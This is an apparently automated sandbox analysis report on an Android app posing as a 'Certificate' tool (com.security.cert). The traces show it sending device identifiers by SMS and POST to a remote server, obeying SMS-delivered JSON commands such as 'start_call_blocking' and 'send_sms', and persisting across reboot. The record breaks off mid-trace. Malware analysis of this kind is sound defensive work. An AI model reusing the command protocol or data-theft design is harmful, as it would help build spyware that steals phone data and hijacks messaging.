Loading ...

General Information

Analysis ID:1555
Start time:15:37:45
Start date:23/08/2013
Overall analysis duration:0h 3m 19s
Report type:full
Sample file name:f05839eb7156b434a893bbeddb68ad85.apk
Cookbook file name:blogpost.jbs
Analysis system description:Android 4.0 EEE PC

Signature Overview

Spam, unwanted Advertisements and Ransom Demands:

May perform phone calls in the backgroundShow sources
May send SMS in backgroundShow sources
May block phone calls / Accesses private ITelephony interfaceShow sources
Sends SMS using SmsManagerShow sources

Networking:

Urls found in memory or binary dataShow sources
Posts data to webserverShow sources
Uses network protocols on non-standard portsShow sources

Boot Survival:

Executes code after phone rebootShow sources

Stealing of Sensitive Information:

Monitors incoming Phone callsShow sources
Monitors incoming SMSShow sources

Data Obfuscation:

Obfuscates method namesShow sources
Uses reflectionShow sources

System Summary:

Executes native commandsShow sources
Requests permissions only permitted to signed APKs or APKs which are within the system imageShow sources
Requests potentially dangerous permissionsShow sources

Virtual Machine Detection:

Accesses android OS build fieldsShow sources
Queries logcatShow sources

Hooking and other Techniques for Stealthness and Protection:

Uses network protocols on non-standard portsShow sources

Language, Device and Operating System Detection:

Checks if phone is rooted (checks for Superuser.apk)Show sources
Checks if phone is rooted (checks for test-keys build tags)Show sources
Queries the network operator nameShow sources
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources

Screenshot

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

Static File Info

File type:Zip archive data, at least v2.0 to extract
File name:f05839eb7156b434a893bbeddb68ad85.apk
File size:39207
MD5:f05839eb7156b434a893bbeddb68ad85
SHA1:9416551d3965d3918eef3788b0377963d7b77032
SHA256:8e1cd55c40d34d33de8f91cf3483afc5e42fb4847b212041ad3bd8d7b5656d11
SHA512:c7624899cb75c69b2c4373378349b3ced5544264c2d71f374f77f6a3483db84ce5f88082391865a18c8c949f35c161d26a99c943df587f2ff375c39707766699

Static APK Info

General
Label:Certificate
Minium SDK required:1
Target SDK required:15
Version Code:11
Version Name:11
Package Name:com.security.cert
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true
Activities
NameIs Entrypoint
com.security.cert.ui.MainActivitytrue
com.security.cert.ui.UssdActivity
com.security.cert.ui.MessageDialogActivity
Receivers
  • .services.OnBootReceiver
  • Intent: android.intent.action.BOOT_COMPLETED
  • .services.PhoneCallReceiver
  • Intent: android.intent.action.PHONE_STATE
  • .services.ReCheckCommandReceiver
  • Intent: android.intent.action.RE_CHECK_COMMAND
  • .services.ReSendQueueReceiver
  • Intent: android.intent.action.RE_SEND_QUEUE
  • .services.SmsReceiver
  • Intent: android.provider.Telephony.SMS_RECEIVED
  • .services.SmsSentReceiver
  • Intent: android.intent.action.SMS_SENT
Services
  • .services.USSDDumbExtendedNetworkService
  • Intent: com.android.ussd.IExtendedNetworkService
Permission Requested
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.READ_LOGS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.CALL_PRIVILEGED
  • android.permission.READ_PHONE_STATE
  • android.permission.MODIFY_PHONE_STATE
  • android.permission.RECEIVE_BOOT_COMPLETED
Certifcate
Name:classes.dex
Issuer:CN=A,OU=B,O=C,L=D,ST=E,C=US
Subject:CN=A,OU=B,O=C,L=D,ST=E,C=US
Resources
NameType
META-INF/CERT.SF ASCII text, with CRLF line terminators
META-INF/CERT.RSA data
AndroidManifest.xml DBase 3 data file (6952 records)
classes.dex Dalvik dex file version 035
res/drawable-xhdpi/ic_launcher.png PNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced
res/layout/enter_user_id_dialog.xml DBase 3 data file (992 records)
META-INF/MANIFEST.MF ASCII text, with CRLF line terminators
resources.arsc data
res/layout/main.xml DBase 3 data file (760 records)
res/drawable-hdpi/ic_launcher.png PNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced
res/drawable-xxhdpi/ic_launcher.png PNG image data, 144 x 144, 8-bit gray+alpha, non-interlaced
res/drawable-mdpi/ic_launcher.png PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced

Network Behavior

TCP Packets
TimestampSource PortDest PortSource IPDest IP
Aug 23, 2013 15:38:25.667851925 CEST1297253192.168.2.58.8.8.8
Aug 23, 2013 15:38:26.190834999 CEST53129728.8.8.8192.168.2.5
Aug 23, 2013 15:38:26.191611052 CEST55614123192.168.2.5169.229.70.95
Aug 23, 2013 15:38:40.134691954 CEST519289081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:40.134733915 CEST908151928198.211.118.115192.168.2.5
Aug 23, 2013 15:38:40.134840965 CEST519289081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:40.135637999 CEST519289081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:40.135658979 CEST908151928198.211.118.115192.168.2.5
Aug 23, 2013 15:38:40.135761023 CEST519289081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:40.135770082 CEST908151928198.211.118.115192.168.2.5
Aug 23, 2013 15:38:40.770235062 CEST539619081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:40.770289898 CEST908153961198.211.118.115192.168.2.5
Aug 23, 2013 15:38:40.770400047 CEST539619081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:40.771011114 CEST539619081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:40.771033049 CEST908153961198.211.118.115192.168.2.5
Aug 23, 2013 15:38:41.544111967 CEST908151928198.211.118.115192.168.2.5
Aug 23, 2013 15:38:41.544503927 CEST519289081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:41.544553995 CEST908151928198.211.118.115192.168.2.5
Aug 23, 2013 15:38:42.060036898 CEST908153961198.211.118.115192.168.2.5
Aug 23, 2013 15:38:42.060348988 CEST539619081192.168.2.5198.211.118.115
Aug 23, 2013 15:38:42.060373068 CEST908153961198.211.118.115192.168.2.5
Aug 23, 2013 15:39:40.715460062 CEST382879081192.168.2.5198.211.118.115
Aug 23, 2013 15:39:40.715514898 CEST908138287198.211.118.115192.168.2.5
Aug 23, 2013 15:39:40.715632915 CEST382879081192.168.2.5198.211.118.115
Aug 23, 2013 15:39:40.716097116 CEST382879081192.168.2.5198.211.118.115
Aug 23, 2013 15:39:40.716111898 CEST908138287198.211.118.115192.168.2.5
Aug 23, 2013 15:39:42.274199009 CEST908138287198.211.118.115192.168.2.5
Aug 23, 2013 15:39:42.274513006 CEST382879081192.168.2.5198.211.118.115
Aug 23, 2013 15:39:42.274550915 CEST908138287198.211.118.115192.168.2.5
Aug 23, 2013 15:40:40.718832016 CEST490069081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:40.718874931 CEST908149006198.211.118.115192.168.2.5
Aug 23, 2013 15:40:40.718969107 CEST490069081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:40.719383001 CEST490069081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:40.719397068 CEST908149006198.211.118.115192.168.2.5
Aug 23, 2013 15:40:40.742997885 CEST544889081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:40.743043900 CEST908154488198.211.118.115192.168.2.5
Aug 23, 2013 15:40:40.743143082 CEST544889081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:40.743542910 CEST544889081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:40.743557930 CEST908154488198.211.118.115192.168.2.5
Aug 23, 2013 15:40:40.743652105 CEST544889081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:40.743660927 CEST908154488198.211.118.115192.168.2.5
Aug 23, 2013 15:40:41.307467937 CEST908149006198.211.118.115192.168.2.5
Aug 23, 2013 15:40:41.307651043 CEST490069081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:41.307672024 CEST908149006198.211.118.115192.168.2.5
Aug 23, 2013 15:40:41.526642084 CEST908154488198.211.118.115192.168.2.5
Aug 23, 2013 15:40:41.526823997 CEST544889081192.168.2.5198.211.118.115
Aug 23, 2013 15:40:41.526844978 CEST908154488198.211.118.115192.168.2.5
Aug 23, 2013 15:40:52.534682989 CEST39848123192.168.2.5169.229.70.95
UDP Packets
TimestampSource PortDest PortSource IPDest IP
Aug 23, 2013 15:38:25.667851925 CEST1297253192.168.2.58.8.8.8
Aug 23, 2013 15:38:26.190834999 CEST53129728.8.8.8192.168.2.5
Aug 23, 2013 15:38:26.191611052 CEST55614123192.168.2.5169.229.70.95
Aug 23, 2013 15:40:52.534682989 CEST39848123192.168.2.5169.229.70.95
HTTP Request Dependency Graph
  • 198.211.118.115:9081
HTTP Packets
TimestampSource PortDest PortSource IPDest IPHeaderTotal Bytes Transfered (KB)
Aug 23, 2013 15:38:40.135637999 CEST519289081192.168.2.5198.211.118.115POST /Xq0jzoPa/g_L8jNgO.php HTTP/1.1
Content-Type: application/json
Content-Length: 288
Host: 198.211.118.115:9081
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
0
Aug 23, 2013 15:38:40.771011114 CEST539619081192.168.2.5198.211.118.115POST /Xq0jzoPa/g_L8jNgO.php HTTP/1.1
Content-Type: application/json
Content-Length: 55
Host: 198.211.118.115:9081
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
1
Aug 23, 2013 15:39:40.716097116 CEST382879081192.168.2.5198.211.118.115POST /Xq0jzoPa/g_L8jNgO.php HTTP/1.1
Content-Type: application/json
Content-Length: 55
Host: 198.211.118.115:9081
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
2
Aug 23, 2013 15:40:40.719383001 CEST490069081192.168.2.5198.211.118.115POST /Xq0jzoPa/g_L8jNgO.php HTTP/1.1
Content-Type: application/json
Content-Length: 55
Host: 198.211.118.115:9081
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
3
Aug 23, 2013 15:40:40.743542910 CEST544889081192.168.2.5198.211.118.115POST /Xq0jzoPa/g_L8jNgO.php HTTP/1.1
Content-Type: application/json
Content-Length: 288
Host: 198.211.118.115:9081
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
4

APK Behavior

Installation Messages
NameIs Error
Running dexopt on: com.security.cert; New package installed in /data/app/com.security.cert-1.apk; Not granting permission android.permission.CALL_PRIVILEGED to package com.security.cert (protectionLevel=3 flags=0x8be44); Not granting permission android.permission.MODIFY_PHONE_STATE to package com.security.cert (protectionLevel=3 flags=0x8be44); generateServicesMap(android.accounts.AccountAuthenticator): 3 services unchanged; generateServicesMap(android.content.SyncAdapter): 14 services unchanged-false
Started Services
Simulated Events
TypeData
boot completed
  • -
incoming sms
  • 0123456789
  • {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • +41987654321
outgoing call
  • 9876543210
incoming sms
  • 0123456789
  • {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
API: android.telephony.TelephonyManager->getDeviceId Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.telephony.TelephonyManager->getLine1Number Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 477354977525045
API: android.telephony.gsm.SmsManager->sendTextMessage Show source
NameTypeValue
param0java.lang.String
  • toString: +447937281444
param1null
  • $1: null
param2java.util.ArrayList
  • toString: [{"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","roote, d":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}]
param3java.util.ArrayList
  • toString: [PendingIntent{a068ac48: android.os.BinderProxy@a06d7fe0}, PendingIntent{a06a8928: android.os.BinderProxy@a06d7fe0}]
param4null
  • $1: null
API: android.telephony.gsm.SmsManager->sendTextMessage Show source
NameTypeValue
destinationAddressjava.lang.String
  • toString: +41666666
scAddressnull
  • $1: null
textjava.lang.String
  • toString: Joe Security says hello world!
sentIntentnull
  • $1: null
deliveryIntentnull
  • $1: null
API: java.lang.Runtime->exec Show source
NameTypeValue
param0[Ljava.lang.String;
  • Arrays.toString: [logcat, -d, USSDDumbExtendedNetworkService:I, *:S]
  • toString: [Ljava.lang.String;@a06b8ef8
NameTypeValue
Return Valuejava.lang.ProcessManager$ProcessImpl
  • toString: Process[pid=2354]
API: android.content.pm.PackageManager->setComponentEnabledSetting Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> Show source
API: org.json.JSONObject.org.json->JSONObject Show source
NameTypeValue
param0java.lang.String
  • toString: {"e":0}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"e":0}
API: org.json.JSONObject.org.json->JSONObject Show source
NameTypeValue
param0java.lang.String
  • toString: {"e":0}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"e":0}
API: org.json.JSONObject.org.json->JSONObject Show source
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {}
API: org.json.JSONObject.org.json->JSONObject Show source
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {}
API: org.json.JSONObject.org.json->JSONObject Show source
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {}
API: android.content.Intent->putExtra Show source
NameTypeValue
param0java.lang.String
  • toString: request
param1java.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
API: android.content.Intent->putExtra Show source
NameTypeValue
param0java.lang.String
  • toString: LoadingCallBack
param1com.security.cert.b.b.a.d
  • toString: com.security.cert.b.b.a.d@a066b7f0
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
API: android.content.Intent->putExtra Show source
NameTypeValue
param0java.lang.String
  • toString: request
param1java.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
API: android.content.Intent->putExtra Show source
NameTypeValue
param0java.lang.String
  • toString: LoadingCallBack
param1com.security.cert.b.b.a.d
  • toString: com.security.cert.b.b.a.d@a066b7f0
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
API: android.telephony.gsm.SmsManager->sendTextMessage Show source
NameTypeValue
param0java.lang.String
  • toString: +447937281444
param1null
  • $1: null
param2java.util.ArrayList
  • toString: [{"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","roote, d":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}]
param3java.util.ArrayList
  • toString: [PendingIntent{a068ac48: android.os.BinderProxy@a06d7fe0}, PendingIntent{a06a8928: android.os.BinderProxy@a06d7fe0}]
param4null
  • $1: null
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuenull
  • $1: null
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: queue
param1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: queue
param1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: queue
param1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: numbers_to_sms_divert
param1null
  • $1: null
NameTypeValue
Return Valuenull
  • $1: null
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: numbers_to_call_block
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: \+41987654321
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
param0java.lang.String
  • toString: numbers_to_sms_divert
param1null
  • $1: null
NameTypeValue
Return Valuenull
  • $1: null
API: org.json.JSONObject->has Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: org.json.JSONObject->has Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: org.json.JSONObject->getString Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.String
  • toString: true
API: org.json.JSONObject->getString Show source
NameTypeValue
param0java.lang.String
  • toString: command
NameTypeValue
Return Valuejava.lang.String
  • toString: start_call_blocking
API: org.json.JSONObject->has Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: org.json.JSONObject->has Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: org.json.JSONObject->getString Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.String
  • toString: true
API: org.json.JSONObject->getString Show source
NameTypeValue
param0java.lang.String
  • toString: command
NameTypeValue
Return Valuejava.lang.String
  • toString: send_sms
API: org.json.JSONObject->getString Show source
NameTypeValue
param0java.lang.String
  • toString: phone_number
NameTypeValue
Return Valuejava.lang.String
  • toString: +41666666
API: org.json.JSONObject->getString Show source
NameTypeValue
param0java.lang.String
  • toString: message_text
NameTypeValue
Return Valuejava.lang.String
  • toString: Joe Security says hello world!
API: android.telephony.gsm.SmsManager->sendTextMessage Show source
NameTypeValue
destinationAddressjava.lang.String
  • toString: +41666666
scAddressnull
  • $1: null
textjava.lang.String
  • toString: Joe Security says hello world!
sentIntentnull
  • $1: null
deliveryIntentnull
  • $1: null
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: android.telephony.TelephonyManager->getDeviceId Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: android.provider.Settings.Secure->getString Show source
NameTypeValue
param0android.app.ContextImpl$ApplicationContentResolver
  • toString: android.app.ContextImpl$ApplicationContentResolver@a065ff70
param1java.lang.String
  • toString: android_id
NameTypeValue
Return Valuejava.lang.String
  • toString: 4f0117b2cc9d8018
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: android.telephony.TelephonyManager->getDeviceId Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: android.telephony.TelephonyManager->getLine1Number Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 477354977525045
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: android.telephony.TelephonyManager->getNetworkOperatorName Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: T-Mobile Deutschland GmbH
API: java.io.File-><init> Show source
NameTypeValue
param0java.lang.String
  • toString: /system/app/Superuser.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /system/app/Superuser.apk
API: java.io.File->exists Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: android.telephony.TelephonyManager->getDeviceId Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: android.telephony.TelephonyManager->getLine1Number Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 477354977525045
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: android.telephony.TelephonyManager->getNetworkOperatorName Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: T-Mobile Deutschland GmbH
API: java.lang.Runtime->exec Show source
NameTypeValue
param0[Ljava.lang.String;
  • Arrays.toString: [logcat, -d, USSDDumbExtendedNetworkService:I, *:S]
  • toString: [Ljava.lang.String;@a06b8ef8
NameTypeValue
Return Valuejava.lang.ProcessManager$ProcessImpl
  • toString: Process[pid=2354]
API: java.io.BufferedReader->readLine Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: --------- beginning of /dev/log/main
API: java.io.BufferedReader->readLine Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: --------- beginning of /dev/log/system
API: java.io.BufferedReader->readLine Show source
NameTypeValue
Return Valuenull
  • $1: null
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.BOOT_COMPLETED
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.PHONE_STATE
API: android.content.Intent->getStringExtra Show source
NameTypeValue
param0java.lang.String
  • toString: state
NameTypeValue
Return Valuejava.lang.String
  • toString: RINGING
API: android.content.Intent->getExtras Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{state=RINGING, incoming_number=+41987654321}]
API: android.os.Bundle->getString Show source
NameTypeValue
param0java.lang.String
  • toString: incoming_number
NameTypeValue
Return Valuejava.lang.String
  • toString: +41987654321
API: com.security.cert.ui.MainActivity->getSystemService Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
API: java.lang.Class->getDeclaredMethod Show source
NameTypeValue
param0java.lang.String
  • toString: getITelephony
param1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@a069aff8
NameTypeValue
Return Valuejava.lang.reflect.Method
  • getName: getITelephony
  • toString: private com.android.internal.telephony.ITelephony android.telephony.TelephonyManager.getITelephony()
API: android.telephony.TelephonyManager->getITelephony Show source
NameTypeValue
Return Valuecom.android.internal.telephony.ITelephony$Stub$Proxy
  • toString: com.android.internal.telephony.ITelephony$Stub$Proxy@a06d1e98
API: java.lang.reflect.Method->invoke Show source
NameTypeValue
param0android.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
param1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@a06b5a68
NameTypeValue
Return Valuecom.android.internal.telephony.ITelephony$Stub$Proxy
  • toString: com.android.internal.telephony.ITelephony$Stub$Proxy@a06d1e98
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.RE_CHECK_COMMAND
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.RE_CHECK_COMMAND
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.RE_SEND_QUEUE
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.provider.Telephony.SMS_RECEIVED
API: android.content.Intent->getExtras Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{pdus=[Ljava.lang.Object;@a0722b90, format=3gpp}]
API: android.telephony.SmsManager->createFromPdu Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a0722a60
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06d42d8
API: android.telephony.SmsManager->getDisplayOriginatingAddress Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 0123456789
API: android.telephony.SmsManager->createFromPdu Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a0722a60
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06cb060
API: android.telephony.SmsManager->getMessageBody Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
API: android.content.BroadcastReceiver->abortBroadcast Show source
NameTypeValue
Return Valuejava.lang.IllegalStateException
  • toString: java.lang.IllegalStateException: Call while result is not pending
API: org.json.JSONObject.org.json->JSONObject Show source
NameTypeValue
param0java.lang.String
  • toString: {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"command":"start_call_blocking","result":"true","phone_number":"+41987654321"}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
API: com.security.cert.ui.MainActivity->startService Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
API: android.content.Intent->getAction Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.provider.Telephony.SMS_RECEIVED
API: android.content.Intent->getExtras Show source
NameTypeValue
